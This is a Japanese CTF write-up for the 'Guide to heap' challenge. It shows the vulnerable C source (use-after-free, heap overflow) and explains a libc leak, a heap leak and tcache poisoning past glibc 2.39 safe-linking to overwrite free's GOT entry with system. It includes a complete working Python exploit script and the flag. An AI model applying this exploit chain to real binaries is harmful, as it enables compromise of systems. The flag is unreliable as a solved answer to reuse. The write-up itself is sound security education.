🚀

Full Weak Engineer CTF 2025 Guide to heap Writeup

に公開

問題バイナリ

セキュリティ機構の状況、およびソースコードを以下に示します。GLIBCのバージョンは、2.39です。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

char *chunks[8];

void menu() {
    puts("1. malloc");
    puts("2. free");
    puts("3. edit");
    puts("4. show");
    puts("5. exit");
    printf("> ");
}

void allocate() {
    int idx;
    size_t size;
    printf("Index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= 8) {
        puts("Invalid index");
        return;
    }
    printf("Size: ");
    scanf("%lu", &size);
    chunks[idx] = malloc(size);
    if (!chunks[idx]) {
        puts("Allocation failed");
        exit(1);
    }
    printf("Data: ");
    read(0, chunks[idx], size);
}

void delete() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= 8) {
        puts("Invalid index");
        return;
    }
    free(chunks[idx]);
}

void edit() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= 8) {
        puts("Invalid index");
        return;
    }
    if (!chunks[idx]) {
        puts("Invalid chunk");
        return;
    }
    printf("Data: ");
    read(0, chunks[idx], 0x100);
}

void show() {
    int idx;
    printf("Index: ");
    scanf("%d", &idx);
    if (idx < 0 || idx >= 8) {
        puts("Invalid index");
        return;
    }
    if (!chunks[idx]) {
        puts("Invalid chunk");
        return;
    }
    write(1, chunks[idx], 0x100);
}

int main() {
    init();
    puts("Welcome to guided heap!");
    while (1) {
        menu();
        int choice;
        scanf("%d", &choice);
        switch (choice) {
            case 1: allocate(); break;
            case 2: delete(); break;
            case 3: edit(); break;
            case 4: show(); break;
            case 5: exit(0);
            default: puts("Invalid choice");
        }
    }
}

// This problem assumes a libc leak and system("/bin/sh").

観察

PIEが無効化されていて、Partial RELROなので、任意のアドレスが書き換え出来ればGOT Overwriteが簡単にできます。

edit関数に注目すると、確保したバッファの容量にかかわらず、0x100バイトを書き込むため、HeapのOverflowが可能です。(今回は使いませんでした。)

さらに、show関数も0x100バイトの読み込みを行うため、メタデータのリークができます。

また、delete関数に注目すると、freeするときに、chunks[idx]=0にしていません。したがって、再度書き込もうと思っても、if(!chunks[idx])のチェックにひっかからず、Use After Freeが容易に可能。

解答

プログラム最後の行に、// This problem assumes a libc leakとあるので、libc leakをしましょう。以下の記事でも言及されていますが、Unsorted Binに入るようなチャンクのfdは、main_arenatopを指します。これは、libcのアドレスなので、オフセット計算によりlibcのベースアドレスが判明します。

https://hackmd.io/@Xornet/rycqVwQpL

あとは、GOT Overwriteをすればよいです。今回は、freeのGOTアドレスをsystemに書き換えましょう。なぜなら、delete関数の最後で、free(chunks[idx])が実行されるため、適当にmallocして/bin/sh\x00を書き込めば、system("/bin/sh")が実行されるからです。

したがって、目標は任意アドレスの書き換えです。tcache poisoningを用います。先述したように、このプログラムではUse After Freeが容易に可能なので、当然fdを書き換えることも簡単です。ここで注意するべきは、fdはそのままの値で保存されるわけではないということ。

今回のglibcのバージョンは2.39と比較的新しいため、fdの値に防御機構が働いています。具体的には、fdが格納されているアドレス(posとします)を右に12ビットシフトして、生のfdの値とのxorを取って、fdとして保存します。これは、以下のコミットからの機能です。PROTECT_PTRマクロを参照。

https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41

さて、この防御機構により、fdの書き換えにはheapのアドレスのリークが必要になります。これは、freeしたアドレスのメタデータを、適当にshowで読み込めば実現できます。

以上の情報により、freeのGOTアドレスをsystemに書き換え、その引数を"/bin/sh"というデータへのポインタに設定できます。

かなりad-hocなプログラムですが、例えば以下のようにして侵入できます。

from ptrlib import *


CONTAINER_NAME = "guide-to-heap-guide_heap_dist-1"

io = Socket("chal1.fwectf.com 8010")
libc = ELF("./libc.so.6")
elf = ELF("./chall")


def gdb():
    cmd = f"docker exec -u root -i {CONTAINER_NAME} sh -c".split()
    cmd += ["gdbserver :9090 --attach $(pidof run) &"]
    print(cmd)
    subprocess.run(cmd)


def malloc(index, size, data):
    io.sendlineafter("> ", "1")
    io.sendlineafter("Index: ", str(index))
    io.sendlineafter("Size: ", str(size))
    io.sendafter("Data: ", data)
    print("malloced")


def free(index):
    io.sendlineafter("> ", "2")
    io.sendlineafter("Index: ", str(index))
    print("freed")


def edit(index, data):
    io.sendlineafter("> ", "3")
    io.sendlineafter("Index: ", str(index))
    io.sendafter("Data: ", data)
    print("edited")


def show(index):
    io.sendlineafter("> ", "4")
    io.sendlineafter("Index: ", str(index))
    print("showed")


#gdb()

# unsorted bin → libc leak
malloc(0, 0x420, b"A"*8)
malloc(1, 0x30, b"A"*8)
free(0)
show(0)
leak = u64(io.recv(6))
io.recv(2)
libc.base = leak - 0x203b20

# tcache poisiningの準備
malloc(2, 0x10, b"A"*8)
malloc(3, 0x10, b"B"*8)
free(3)
free(2)

# heap leak
show(2)
io.recv(16)
leak2 = u64(io.recv(8)) + 0x10
print(f"chunks[2] = {hex(leak2)}")

# tcache poisoning
edit(2, p64(elf.got("free") ^ (leak2 >> 12)))

# 少なくとも0x10バイトの書き換えをしなければならないが、
# freeのGOTだけ書き換えると、putsが壊れるっぽいため、
# putsも書き込んでいる。
malloc(4, 0x10, b"A"*8)
malloc(5, 0x10, p64(libc.symbol("system"))+p64(libc.symbol("puts")))
malloc(6, 0x8, b"/bin/sh\x00")
free(6)

io.interactive()
fwectf{kn0w1ng_7c4ch3}

Discussion